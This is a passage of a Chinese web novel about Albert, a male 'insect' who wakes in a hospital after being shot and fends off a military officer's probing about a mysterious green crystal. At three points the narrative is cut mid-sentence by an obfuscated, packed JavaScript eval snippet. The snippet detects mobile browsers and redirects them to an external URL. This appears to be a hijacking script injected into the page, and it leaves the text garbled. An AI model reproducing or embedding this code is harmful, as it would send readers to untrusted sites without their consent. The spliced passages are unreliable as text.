凡亚往他手里塞了一小块坚硬物体。 什么东西? 阿尔贝费力低头,眯起眼想要看清手中的东西。 似乎是一颗绿宝石一样的晶体,内部像有绿色的黏稠液体在流动。外面沾着血迹,也不知道是他的血还是凡亚的血,也可能两者都有。 不知道是不是错觉,他感觉晶体原本坚硬的表面好像变软了一点,没有刚刚那么坚硬了。 他想问问这是什么东西,但费力张开了嘴却怎么也没有力气发出声来。 凡亚见东西还没有起效果,从阿尔贝手中拿出,打算看能不能敲碎了给阿尔贝喂进去,却在上手的瞬间察觉到了绿色晶体表面的变化。 那层硬壳真的变软了!如同柔软的表皮包裹着一滩液体。 凡亚灵光乍现,在表皮上戳了个小口,又捏开阿尔贝的嘴,将里面绿色黏稠的液体灌进阿尔贝嘴里。 “阿尔贝阁下,快把这个咽下去!”凡亚的声音焦急催促着,阿尔贝勉强混合着嘴里和嗓子里的血液一同咽了下去, “唔呕。”阿尔贝直犯恶心,却被凡亚强硬捂住了嘴。他尝不出绿色液体的味道,倒是血腥味浓得他更想吐了。 不过,不知道是不是这种不知名液体起效了,嗓子里好像不怎么往外涌血了,身体也渐渐暖和起来,抑制不住困意席卷,他不知觉闭上了眼睛。 “阿尔贝阁下!阿尔贝阁下……” 阿尔贝感觉凡亚在摇晃他的肩膀,随后他好像被抱了起来往外跑,有点颠簸。 但他实在太困倦了,连抬起手指的力气都没了。耳边的声音也越来越飘忽,越来越微弱,他陷入了一片黑暗之中,彻底昏睡过去…… 在阿尔贝的意识里,他感觉只是放任自己闭上眼休息了短短几秒钟,最多也就几分钟,但浑身却轻松多了。虽然身体深处还是困倦得很,却积攒了些力气。 他想到凡亚可能在担心他,不再眷恋这种舒适,用力睁开了眼睛。 光进入了眼中,入目却是一个玻璃罩子将他扣在了狭窄的密闭空间里?! 这就要火化了?! 阿尔贝一惊,他觉得他还能再抢救一下! 他下意识拍打玻璃壁,想要打破火化舱逃出去,但他身体还没恢复,手上也没什么力气,根本敲不动坚实的舱门。 几秒后,因受伤而变得迟钝的嗅觉终于将舱内的药味传递给大脑,阿尔贝这才反应过来,他大概是在治疗舱内。脖子以下都浸泡在液体中,他之前以为是液体燃料,但其实也可能是治疗用的药液。 阿尔贝冷静下来,用手在身侧摸索,果然摸到了一个按钮。他按了一下,治疗舱就缓缓打开,不由让他心里松了口气。 他从舱内慢慢坐了起来,向周围看去,纯白为主的空间,似乎是间治疗室。 他低头朝自己看去。 之前的衣服被换掉,身上的血渍和污渍也都清理干净了,上身没给他再穿衣服,下边则似乎是条消毒过的无菌裤。看样子在他昏迷期间,他身上被处理过。 他胸口处的血洞已经缝合在一起,只留下几道崎岖的嫩粉色疤痕。内部和伤口处还有些隐痛,似乎还没完全长好,但经过治疗舱的治疗,他已经能够不受伤口影响自己坐起来了。 有治疗舱,无外乎几个可能:一是凡亚在他没死前,侥幸将他送到政府部门求助,虽然是战争期间,但政府总不至于眼睁睁看着雄虫重伤死掉而不做任何救助措施;二是之前那伙持枪的虫还有同伙,冲上来制服了凡亚,看他是个雄虫还有点价值就一并带走。 多想无益,阿尔贝又躺了回去。治疗舱一般都和智能系统连在一起,他打开了治疗舱一定会惊动管理员。 果然,很快就有穿着医护服的虫进来了。 几张有老有少的脸挤在治疗舱上方,关切地盯着阿尔贝。其中一个年老些的医生开口:“阿尔贝阁下,您现在感觉怎么样了?” 阿尔贝坐起来,目光从医生那张老脸下移到他的胸牌上,前面几个字沾了抹血挡住了,最后医院两个字倒是看清了,应该是家公立医院,看来他和凡亚没有被那伙虫抓住。 阿尔贝:“我好多了,和我一起来的雌虫呢?他的伤怎么样了?” 医生显然不清楚这事,看向旁边的护士。 护士胸前的名牌倒是清楚,大字写着护士的名字“讷斯”,小字写着医院的名字,确实是中心城的公立医院。 讷斯护士倒是知道一点:“您是单独被送来的,我们没有见到有受伤的雌虫和您一起送来。” 阿尔贝皱了皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723237|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉,回想到他失去意识前,凡亚的状态比他应该要好一些。既然他被送来了医院,不可能他还活着凡亚却死了。 “是谁送我来的?”阿尔贝追问。 讷斯护士:“是一个军雌,他把您送来就走了。”他补充:“他看起来不像是受伤的样子。” 是军雌……会是凡亚吗?可是护士又说他没有受伤。那么是凡亚的同伴?护士口中那个军雌来去匆忙,既然护士能说出他是军雌,那么必然他是穿着军装。 阿尔贝突然想到:“你们医院是什么时候恢复的?我又是什么时候被送来的?” 讷斯护士:“三天前,中央星派来的支援部队到了后,地面轰炸就停止了,医院也在当天恢复,随后您就被送来了。” 三天了……阿尔贝还以为他只是稍稍闭了会儿眼睛,没想到就过去了三天。也是,他胸口的伤之前那么严重,现在都愈合得差不多了。 阿尔贝:“那你知道送我来的军雌是谁吗?或者他是哪个部队的?怎么能联系上他?” 讷斯护士摇了摇头,怕被迁怒,他小心解释:“呃……您知道的,雄虫阁下享有免费医疗,并不需要有虫登记垫付之类的流程……” 阿尔贝没心情继续听护士说话,又躺回治疗舱里。 护士说完,见阿尔贝没有疑问了,又换了医生讲解病情和注意事项:“阁下,您的伤势目前……” 阿尔贝双眼放空,望着天花板,心里想的全是凡亚的状况。 直到医生交待完病情后,讷斯护士顺便提了句:“昨天有位雌虫来找您,因为不知道您是否认识他,所以我们就先拦了下来,他现在还在病房那边等消息。” “嗯?!”阿尔贝立刻坐了起来,“我现在就要过去见他。” 讷斯护士自动按常识纠正了这句话:“好的,我这就让他来见您,不过他可能会来得比较慢。” 医生和护士离开了,阿尔贝的心脏却“扑通扑通”在胸腔中加速跳动,等待着和凡亚的见面。 在他昏迷前的那场恶战中,不仅他被打中了胸口,凡亚更是多处负伤。即使凡亚是雌虫,恐怕也吃不消。 在他的感知里,他和凡亚才分开了一会儿,实际上,现实里已经过去了三天。但能见到凡亚总归是好的,这样他也就能放心了。 他不知道自己为什么会莫名紧张到心跳加速,可能是因为凡亚对他实在太过特别。 凡亚是第一个在危难时用身体保护他的虫,也是第一个让他爆发出前所未有的勇气去救的虫……他以热血回报凡亚的恩情,但似乎又还没还完。 凡亚救了他三次,但他只为凡亚拼过这一次,甚至说他最后一枪并没有打中剩下那个雌虫,如果不是凡亚,他们两个都要玩完。而且,如果不是因为回来带他走,说不定凡亚都不会陷入那样危险的境地。 他对凡亚的感情太过复杂,最初是猜疑和疏离中不乏感激,然后又是感激中夹杂着愧疚,而后来又不知不觉多了依赖…… 门外传来脚步声,渐渐近了,伴随着金属轮子在地面滚动摩擦的声音。 “噔噔噔”门被敲响。 阿尔贝呼吸一滞,坐起身来:“请进!” 11. 相遇克洛维尔星(十一) 阿尔贝的眼睛紧紧盯着门口,目光中难掩期待。 门被推开,进来的却还是护士。 阿尔贝叹了口气。 讷斯护士察觉到阿尔贝的视线,露出笑容:“雄虫阁下,看来您已经迫不及待想吃点东西了。”他将移动餐桌推进来,上面放着营养餐。 阿尔贝不知道护士口中的“迫不及待”究竟是从哪看出来的。他刚醒来不久,虽然昏迷了三天没有吃任何东西,但可能是医院给他注射了营养针剂,他现在并没有任何饿的感觉,也没什么胃口。 比起吃饭,他现在更关心的是凡亚的情况:“你们有把我醒了的消息告诉昨天来找我的雌虫吗?” 讷斯护士边将餐桌移动到阿尔贝面前,边回答:“已经通知他了,不过他情况特殊,来得会比较慢。您可以先吃点东西,他应该一会儿就到。” 阿尔贝:“什么特殊情况?不如你现在带我去见他?” 讷斯护士惊了一下,连忙阻止:“抱歉阁下,您本次的治疗还没有完成,不能离开治疗舱。更何况,也没有让雌虫坐等反而让重伤未愈的雄虫阁下去找他的道理。” 阿尔贝叹了口气:“那我的光脑呢?我和我的亲属报平安总行吧?” 自从信号被切断,他还没有和迈德雌叔联系过。现在信号已经恢复了几天他却还没有任何消息,恐怕迈德雌叔都要急疯了。 这倒没什么问题,讷斯护士将饭菜摆好,就出去给阿尔贝拿他的光脑。 医院给雄虫准备的餐食经过营养配比,看上去也算精致可口。阿尔贝这些天一日三餐都在喝营养液,虽然可以填饱肚子不至于营养短缺,但营养液寡淡味道不佳,只能满足基本生存需求。 阿尔贝尝了一口医院的营养餐,确实比营养液要好很多,但他却又想起了凡亚。在从小学起就会给雌虫安排厨艺必修课的社会,凡亚却声称自己做饭难吃到不如营养液。阿尔贝不禁轻笑了一声。 过了一会儿,讷斯护士就将阿尔贝的光脑拿了过来。 光脑是戴在阿尔贝手腕上和他一起被送到医院的,但阿尔贝伤势严重,需要躺进治疗舱,光脑就被摘下来由医院暂时保管,这也是医院能确定阿尔贝身份的原因,扫一下光脑就都清楚了。 光脑上面原本沾了很多血迹,现在已经被清理干净,只是处于关机状态。阿尔贝一打开光脑,大量未读信息就爆了出来。 他翻动大致查看,大部分信息都是迈德雌叔发的,少部分是知道他来克洛维尔星的朋友发的,没有一条是乔特德发的信息,他猜他雄父可能都没记住他是去哪了。 阿尔贝松了口气,能发信息,说明迈德雌叔还活着! 迈德发的未读信息足足有五百多条,阿尔贝能知道这个数字是因为在总数也为五百多条的未读信息中,他只看到几十条是不同朋友发来的,剩下全是迈德雌叔在不同时间发的。 有部分信息几乎挤在了同一时间,阿尔贝猜测可能是在没有信号的时候发的,等信号恢复时光脑才收到,显示的时间正是三天前。而阿尔贝昏迷的这几天,迈德又发送了大量信息。阿尔贝看了一下,最新的一条是在昨天。 阿尔贝点开就看见迈德发的内容:【雄子,请您醒来后立刻联系我。】 昨天来找他的雌虫是迈德雌叔?不然也不会说“醒来后”。 “噔噔噔”敞开的门被敲响,打断了阿尔贝的思绪。 他抬头看去,就见迈德雌叔双眼含泪但满脸笑容地站在门口,十分激动:“雄子!” 一声饱含情绪的呼喊脱口而出,迈德嘴张开动了动,还想再说什么,但嗓子如同被堵住,已经哽咽激动到说不出话。 “迈德雌叔!”阿尔贝眼前一亮,同样欣喜。 再没有比在战乱后看到熟悉的虫还活着更为惊喜的事了! 阿尔贝的视线在迈德胡子拉碴的脸上扫过,却在看到迈德那根新装上的假腿时笑不出来了。 机械义肢刚装上不久,接口处还缠着布条。 咔哒咔哒,迈德以一种极不协调的姿势快步走了过来。 说是快步,但迈德显然还没有适应机械假腿的存在,速度没快到哪去,还不如一般虫正常走路的速度快。但他眼中全是阿尔贝,拼命加速奔向了治疗舱,紧紧握住治疗舱的边缘,手指用力到发白。 “您……”迈德一开口,嘴角还带着笑容,眼中的泪水却控制不住地汹涌而出。 阿尔贝胸口狰狞的伤疤显露在迈德眼前,一时间心疼、愧疚、自责的情绪几乎要将他淹没。 他的雄子,他从小照看到大养尊处优没有受过一点苦的雄子,竟然受了那么严重的伤! 那可是胸口!再偏一点就是心脏了! 迈德不敢去想,要是他视如亲子的雄子在这场意外到来的战乱中死去该怎么办! 光是想想,他都要心痛到碎掉。雄子还那么小,一个虫忍受着伤口的痛楚,周围却没有熟悉的虫照料,该是多么难过!多么无助! “都是我不好!我不该让您独自离开!是我!是我没照顾好您!”迈德哽咽痛哭,“都是我的错!” 旁边来送光脑还没走的讷斯护士也微笑着擦了擦眼泪。 “迈德雌叔……”阿尔贝忍住眼眶的酸意,弯了弯嘴角,握住迈德紧紧攥着治疗舱边缘的手,帮他松开,“小心伤到手。” 迈德双手握住阿尔贝的手,更是哭得稀里哗啦。 讷斯护士感动地将一卷卫生纸递给迈德,提醒他:“鼻涕别滴到治疗舱里。” 被打断的迈德:“……谢谢。” 他松开阿尔贝的手,接过卫生纸,背过身去。 “噗——噗——”“呼噜~呼噜”听声音就知道这卷纸来得万分及时。 安抚好迈德雌叔,阿尔贝在治疗舱中的治疗还没结束,讷斯护士把迈德送出去,让他回他自己的病房休养。 阿尔贝虽然意识到护士口中说的来找他的雌虫应该就是迈德,看到迈德来找他也同样惊喜,但还是想问:“还有别的雌虫来找我吗?尤其是军雌。” 讷斯护士摇了摇头:“如果有虫来找您,我们会及时告知的。” 也只能是这样了,阿尔贝躺回治疗舱。他点开光脑,信号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723238|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复后,关于克洛维尔星的战事状况也终于能窥探到全貌。 三天前中央星派出的援军抵达,和外族在星球外进行战斗,并控制住了局面。 外族被牵制在星球外,中心城的轰炸也就少了许多,阿尔贝那天感觉周边比平时安静并不是错觉。 随后信号恢复,城市功能也开始重回正常。 现在在克洛维尔星内外只有小区域战斗还在继续,外族似乎并不想和虫族全面开战,在虫族援军到达后就开始有序撤退。 阿尔贝至今不知道那天和凡亚激战的组织属于哪股势力,不过穿着和之前遇到的外族倒并不一样,应该不是外族。 那天他被枪击中后虽然意识不清,但还有记忆,凡亚后来似乎是将那块绿色未知晶体中的流动液体喂给了他。 他仔细回想当时的全部情景,在最后的互射开始前,其中一个虫似乎提到要凡亚交出“X物质”。这个不知道是什么的“X物质”或许就是众多势力在克洛维尔星想要争夺的东西。 那么,那块绿色晶体会是什么?会和他们口中的“X物质”有关吗? 还有,更让阿尔贝心生疑惑的是,身体素质不如雌虫的雄虫,在被射中胸口重伤吐血后,虽然被射中的不是心脏,但真的能挺到被送到医院救治吗?凡亚给他喂的究竟是什么? 阿尔贝隐约意识到,那块被凡亚喂给他的绿色晶体并不是寻常药物,它的来历可能并不简单。 凡亚当时的表现似乎并不知道绿色晶体的用法,极有可能凡亚也不了解那块晶体,只知道它对重伤的虫有帮助。 大致知道有什么功效却不知道用法,很有可能那块绿色晶体就是凡亚被派出来在繁花市集要找的东西,也是他们口中的“X物质”。 可是,如果凡亚把要找的东西给他服用了,凡亚又拿什么交差完成任务?当时的动静并不小,如果凡亚交不出东西,上面的高层是否会起猜疑? 阿尔贝不由担心起凡亚的处境。凡亚没有来找他,究竟是不想还是不能?当时为什么不是凡亚送他到医院的?凡亚现在又怎么样了?身上的伤是否有得到及时救治?这些,他统统一无所知,不由让他感到焦虑。 战争的阴云似乎渐渐在克洛维尔星上空散开,但他心里的阴霾却越积越厚。 治疗舱的治疗结束后,阿尔贝被转移到单间病房。他的伤势好转许多,但凡亚却仍旧没有任何消息。 尽管是医院的病房,但因为是雄虫特设病房,所以床垫被品等都是专门采购的,摸上去柔软舒适,远不是前几天阿尔贝睡的地方所能比的。窗户密闭性也极佳,完全隔绝了外面的噪音。但阿尔贝躺在床上,却总觉得没有前几天那么安心。 “噔噔噔”门被敲响,讷斯护士进来问他:“阿尔贝阁下,不知道您现在是否方便接受拜访?” “是谁?谁要来看我?”阿尔贝坐起身来,心脏加速跳动,会是……凡亚吗? 他看向门口,心中不由产生期待。 讷斯护士笑了笑,将门口让开,介绍等在外边的几个虫:“这是军部派来探望您的几位长官……” 12. 相遇克洛维尔星(十二) 几个身穿笔挺军装的雌虫正要进来,就被身后的虫一把挤开。 “雄虫阁下啊!!!!!” 余声悠长,回荡在走廊里,充满万分悲切心痛,仿佛师从专业吊丧团队,一句话里五个字,没有技巧,全是感情。 阿尔贝还没看清是谁,来者就从门口一个滑跪扑到了床前。 阿尔贝目光顺着落到床边,就对上一张哭得一塌糊涂的脸,可能他死了亲雄父都没这么伤心。 但,这谁啊? 阿尔贝可以确定,他从来没有见过眼前这个雌虫,以及这个雌虫身后捧着水果篮一块跪下的雌虫。他内心不仅泛起疑惑,是谁哭丧哭错了坟? 然而下一秒,那个雌虫就表明了自己没有哭错虫:“尊贵的阿尔贝阁下,我是雄保会克洛维尔分部的费洛,呜呜呜,您受苦了……” 费洛边哭得涕泗横流,边扒开因刚刚跑动挡在自己脸前的头发,力求让阿尔贝能清楚看到他有多么为阿尔贝的遭遇心痛。 “我们这些日子一直在关注着您的安危,可算是得知您清醒过来的好消息了!呜呜呜,太不容易了……” 虽然雌虫都力求在雄虫阁下面前有个好形象,但费诺清楚现在可不是顾及脸面的时候。尽管战争造成的混乱也不是他们能控制的,可雄虫阁下在他们的管辖地受到重伤,他们总归是脱不了干系。 费洛额间还有汗珠没有擦去,这是刚刚一路跑来急出的汗。还好最后他没让军部的虫抢在他们前边,不然本来就是他们失职,现在要是雄虫阁下醒来第一个来看望的居然还不是他们克洛维尔雄保会,岂不是更让雄虫阁下对他们心生不满? “都怪军部的虫无能,不能快点结束战乱,硬是让您在外边受了这么多天的苦啊……”费洛不仅对军方把战争拖了这么久感到不满,更是对军方要抢先他们一步来看望受伤的雄虫阁下而感到不满。要不是他来得及时,还真是差点儿让这些军雌得逞了。 费洛哭得真切,眼眶也通红,不止让门口的几个军雌尴尬地站在了门外,也让阿尔贝无语到想要闭眼。 雄保会对外有不小的权力,并不怕军部,但这个机构说起来,却某种程度算得上是雄虫的官方“狗腿”。只不过不同等级的雄虫,由不同级别的“狗腿”对接。 这个被临时分过来看望阿尔贝的“狗腿”费洛,哭得着实有点让阿尔贝感到淡淡的丢脸。 阿尔贝闭了闭眼,实在忍受不了费诺的噪声:“好了,闭上嘴起来吧。” 阿尔贝的话像是拉上了费洛眼泪的闸门,卡一下掐住了他的声带,瞬间整个病房都安静了下来。费洛在阿尔贝不加掩饰的嫌弃目光中不敢再多闹腾,连忙带着手下从地上爬起来。 讷斯护士则趁机带着门口尴尬得像罚站的军雌进来。 领头的军雌面带笑意,微弯下腰和阿尔贝问好:“阿尔贝阁下,您好!我是少将斯诺发,听说您不幸在这次战争期间受伤,军部特别派我们来看望您,不知您现在恢复得还好吗?” 阿尔贝在进来的几个军雌脸上一一划过,全都是陌生的脸,没有凡亚。他心底失落的同时,又不由提起警惕。 如果说费洛着急来看他是出于雄保会的职责害怕他会怪罪投诉他们,那斯诺发在他醒后这么快就赶到则完全没有理由。现在战事还未完全结束,斯诺发身为少将正是忙碌的时候,怎么会来看望他这个D级雄虫? 他瞟了护士一眼,讷斯护士正有礼貌的微笑,看起来和医院里的其他医护并没有任何区别。但是,这不是军部直属医院。普通公立医院的护士介绍来访军雌时会说长官吗? “嗯。”阿尔贝只微抬着下巴对斯诺发一行点了点,看似傲慢没有将他们放在眼中,心中却暗暗思量这位军部少将来访的目的以及护士的真实身份是否有异。 刚被阿尔贝呵斥闭嘴的费洛敏锐地感知到阿尔贝对斯诺发的冷淡,立刻抖擞了起来:“阿尔贝阁下,我们特意为您挑选了多种对疗愈有好处的水果。唉,我们雄保会不像军部的虫握有那么大权力,也只能给您带这些今早专程从产地摘下就立刻运输过来的养生水果了。”说着他的目光落在斯诺发一行空空的手上。 说来雄保会普通工作员并不怕军部的高级军官,甚至被一些军雌暗戳戳讨好,也是因为他们掌握了和雄虫阁下们交流的渠道。军雌想要找到个好雄主,也多要依赖他们牵线。 费洛对这几个试图抢先他们雄保会在雄虫阁下面前刷存在感的军雌没什么好印象,此时狗仗雄虫阁下势,也阴阳怪气找起斯诺发一行的麻烦。 斯诺发得到阿尔贝醒来的消息后就匆匆带手下赶了过来,根本没时间准备礼物,当然也是因为战事太忙昏了头压根忘了要准备礼物。别说来看望的是雄虫阁下,就算是看望雌虫,没带任何东西就过来了也极为失礼。此时对上其他虫看过来的视线,顿时就尴尬不已。 “阁下,我这……”斯诺发下意识翻找身上有没有带能拿得出手的东西,但他这种整日泡在军队里的虫,浑身上下除了带了把好枪,再没别的了。 斯诺发虽然已经是少将,面对再危急的战况也能临危不乱,但在雄虫阁下面前丢脸这事,还是让他胀红了脸,说话也磕巴了起来:“我们,就是、这个、就是先来看看阁下有什么缺的,然后再去,啊不是,现在就去立刻买回来。” “阁下,请问您有什么需要的吗?”斯诺发深吸气,攥住了手指,勉强克制住内心的羞窘尴尬。 阿尔贝瞥了斯诺发一眼:“暂时没有,医院提供的服务很全面。” “呃……”斯诺发这下更尴尬了,阿尔贝什么要求都没有提出来,显得他说看情况买东西这话就像只是为了逃避花钱一样。 讷斯护士有心想帮斯诺发少将,但他也不能为了救少将而反手抽自己一巴掌说医院的服务不够到位,纠结得面部表情都扭曲了。只有费洛眼中得意的笑意都快要溢出,嗓子里更是发出意味深长的嗤笑。 阿尔贝虽然觉得斯诺发此次来目的不纯,但也无意为难他,看斯诺发站在原地尴尬,连眼神都不好意思和他对视,才又说话:“直接转账吧。”说着伸出光脑收款页面。 “啊?啊……好、好的。”斯诺发先是以为自己听错了,但很快就反应过来,连忙将自己的光脑对了过去,干脆利落地转了一大笔钱。 斯诺发这才重重松了口气,从刚刚的尴尬境地中解脱。虽然直接给钱怪了点,但总好过在雄虫阁下和雄保会面前失礼加丢脸。 “啧。”费洛只觉得阿尔贝太过心软,这么简单就放过这些无礼的军雌。但他转念一想,要是眼前这位雄虫阁下是位难缠的阁下,他们怕是也不好过,这才闭上嘴没再挑斯诺发的刺。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723239|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 收了斯诺发的慰问金,阿尔贝也不马虎,直接开了一张收据给斯诺发,让他拿去报销费用。 这回斯诺发惊得都张开了嘴,他身后的几个军雌互相对视了几眼,也都一副目瞪口呆的惊讶样子。 这、这也太正规了!要知道他们执行任务期间去小饭馆吃饭都经常开不到发票啊! 作为经常和雄虫阁下打交道的费洛也:“……”阁下也太细心了。 阿尔贝面无表情挨个扫了他们一眼,下驱逐令:“好了,该探望也探望过了,都回去吧。” “是,是是。”费洛满脸堆笑点头哈腰,只觉得自己此行真是格外顺利。 他本以为尊贵的雄虫阁下在旅行期间遭遇战乱还因此受伤,会把一切都怪罪到他们当地雄保会的头上,没想到这位中央星来的阁下这么体谅他们,让他早早准备好的诉苦甩锅的话都没派上用场。 现在雄虫阁下明显不耐烦应对他们,费洛自然识趣地不会再过多打扰:“阿尔贝阁下,那我们就先走了,您有吩咐请随时联系我们,祝您早日康复!” 倒是斯诺发少将还站在原地没有动,支支吾吾不肯离开:“这个、其实,阁下,我们……” 费洛本来已经带着下属半弯着腰往外退了,看斯诺发一副要在这里扎根的样子,又顿住了脚步,朝斯诺发翻白眼:“没听到阁下说让你们赶紧滚吗?” 斯诺发没理费洛,接着说出此行的目的:“军部对您这次遭遇的袭击高度重视,想要和您了解一下当时的详细情况,这样也有助于尽快将伤害您的凶手缉拿归案。” 斯诺发看向阿尔贝,郑重表示:“我们不会放过任何意图伤害雄虫阁下的歹徒。” 费洛听到斯诺发说是要查清伤害雄虫阁下的歹徒后就悄悄溜走了,压根不敢吱声。关于这件事,要让他们雄保会去给相关部门施压还行,直接让他们上谁也没这本事。而且当时整个克洛维尔星中心城都处于混乱状态,城市监管系统停摆,要想事后查清这笔账怕是难如上天。 阿尔贝目光放在斯诺发脸上,这位军部少将看起来倒是诚恳,只是他的真实目的究竟是如他所说还是另有打算就不知道了。 不过阿尔贝也没有拒绝配合,如果他真的被盯上了,没有斯诺发也还会有别的虫来试探他,还不如先看看能不能弄清斯诺发的意图,再看看如何打消暗处的怀疑。 因而阿尔贝像是被斯诺发说动了一般,点了点头:“我从来没有受到过如此严重的迫害,希望你们真的能查清那群差点让我死掉的歹徒。说吧,你想知道些什么?我会尽量回忆。” 斯诺发见阿尔贝这么配合,脸上不由露出一丝轻松的笑意:“好的,您放心,我们一定会努力还您一个公道的。那么,可否请您先叙述一下当天发生的所有情况?” 阿尔贝的目光动了动,这种要求叙述全过程经过的开放式问题自然不能回答,多说多错,后面再想隐藏什么的话也容易被抓到破绽。 他想了想,低头扶住了额头,面上露出一丝痛苦:“不行,我现在一回忆当时的场景脑海里就一片混乱,什么也想不起来,感觉和做梦一样,全是零散的片段。” 他直接摁下床头的呼叫按钮,把医生叫了过来。 斯诺发一行:“!!!阁下您……”救命!他们别是把雄虫阁下问出个什么毛病来! 13. 相遇克洛维尔星(十三) 老医生接到雄虫病房的呼叫按钮后心都提到嗓子眼了,立刻带着一群医护狂奔过去,跑得光亮的脑门上仅有的头发都随风飘了起来。见阿尔贝捂着额头,他紧张地问:“阁下,您有哪不舒服吗?” 阿尔贝放下捂着额头的手,蹙着眉头将刚刚的情况告诉医生,忧心地问:“我的脑子是不是出了什么问题?怎么……那么难受。” 看上去,这种情况似乎很困扰阿尔贝。 医生听完,心里却松了一口气,和声细语地和阿尔贝解释:“您放心,您这样的情况实属正常。一般来说,脑部在经历巨大的创伤事件后,有很大的可能会启动本身的自我保护机制,自动屏蔽掉您无法接受的记忆,但这并不会影响到您的正常生活。” 说话间,医生的目光落在了阿尔贝脸上。虽然阿尔贝胸口基本愈合得差不多了,但他的脸色依旧苍白,看着毫无血色,而刚刚似乎又被脑中的回忆刺激到,现在看着更是憔悴。 医生责备站在一边同样紧张的斯诺发:“阁下身上的伤还没完全好,你们怎么能现在就来审问他?”说着他目光严厉地瞥了一眼带斯诺发过来的讷斯护士,但不知想到了什么,还是把要说的话咽了回去。 斯诺发尴尬解释:“不是审问,我们怎么敢审问雄虫阁下?我来只是想弄清之前是谁伤害了阁下,好尽早抓到歹徒。” 医生毫不留情地瞪了斯诺发一眼:“都把阁下逼成这样了还说不是审问?” 阿尔贝摆了摆手,替斯诺发说话:“没关系,我也想早点找到那群歹徒。既然我没事,医生你们也不用待在这了,该干什么干什么去吧。” 医生抿了抿嘴,用警告的目光反复扫射斯诺发一行后,才带着一群医护离开了阿尔贝的病房。 阿尔贝看着面带愧疚的斯诺发,看似无奈地说:“你有什么别的想问我吗?我看看我还能不能想起什么。” 斯诺发真怕把阿尔贝刺激个好歹出来,但是他带着任务来,不可能什么消息都没得到就回去,他只能小心提问:“那您是否还记得那伙歹徒的外貌或别的特征?” 边说,他边盯着阿尔贝的神情,不知道是想看着不对就帮阿尔贝叫医生,还是想观察阿尔贝说的话是真是假。 阿尔贝:“他们来了好多个,我当时太紧张,没办法记住他们每一个的样貌,而且好多应该已经死了。要说特征也没有什么不同的,我唯一能肯定的就是,他们应该不是入侵的外族。” 这算不上是什么线索,斯诺发沉思片刻:“阁下,以我多年经验,一般趁火打劫的不法分子多是图财,他们很有可能是图谋什么东西,可能那样东西当时就在和您在一起的雌虫手里。您有看见过什么特别的东西吗?” “比如说,”斯诺发的目光紧盯着阿尔贝,“克洛维尔星盛产的绿宝石之类的贵重物品。” 斯诺发看似目光真诚:“如果能知道线索,或许我们能更快找到他们为您报仇。” 阿尔贝和斯诺发对视,面上不动声色,心中却对斯诺发的来意有了隐约的猜测。 早在他来克洛维尔星做文化调研前,他就全面了解过这颗旅游星。这里并不产矿物,更别提什么宝石,连路边的摊贩都不会打着本地宝石的旗号招揽顾客。 唯一和斯诺发所说挂得上钩的,只有疑似是“X物质”的那块融化了的“绿宝石”。 阿尔贝:“我觉得,他们应该是极端.恐怖.分子,一般求财的虫不会对雄虫下狠手,少将你的经验听起来似乎不太靠谱。” 阿尔贝瞥了斯诺发一眼。 没等斯诺发尴尬,他又说:“不过,虽然我不知道他们想要的是什么,但即使有这样的东西,应该也已经被抢走了吧。” 斯诺发精神一振,连忙追问:“您是怎么知道的?” 阿尔贝:“他们来的虫多且火力又猛,尽管照顾我的那个雌虫拼尽全力,但后来全身都是伤,最后连枪都开不了。” 受伤是真,开不了枪也是真。不过以凡亚最后还能掷出匕首杀死雌虫的力气,大概率是没子弹了。这点无论凡亚怎么说,都能和他说的话对上。 阿尔贝无奈地扯了扯嘴角:“没办法,我只能自己上。结果就是我被枪击中意识不清,后来的事就都不知道了。但显然,无论他们之后要拿走什么,都轻而易举。” 斯诺发似乎还有怀疑,他盯着阿尔贝问:“在您昏迷之前,照顾您的那个雌虫还清醒着吗?” 阿尔贝叹了口气,“在那样的情况下,醒不醒着又有什么区别?”他反问:“你说,他受了那么重的伤后现在还活着吗?” 斯诺发:“抱歉阁下,我对此并不清楚。只是军雌的抗打击能力和恢复力都很强大,如果不是打到要害部位,或许他又坚持着把剩下的歹徒打死了呢?” 阿尔贝敏锐地注意到斯诺发说的是“军雌”。事实上,即使是阿尔贝自己也不能百分百确定凡亚是军雌。 阿尔贝心头狂跳,但嘴上却还在说:“那伙虫训练有素,火力又很猛,我被击中前对方还有好几个虫完好无损,而和我在一起的雌虫却已满身是伤,血流得到处都是,这样的情况恐怕很难再有能力与之对抗了。” 斯诺发跟着表示:“那这真是太遗憾了。” 斯诺发脸上看不出到底信了没有,随后又问了阿尔贝几个无关紧要的小问题,阿尔贝也都一一给了回答。 送走斯诺发后,阿尔贝脸色就沉了下去。 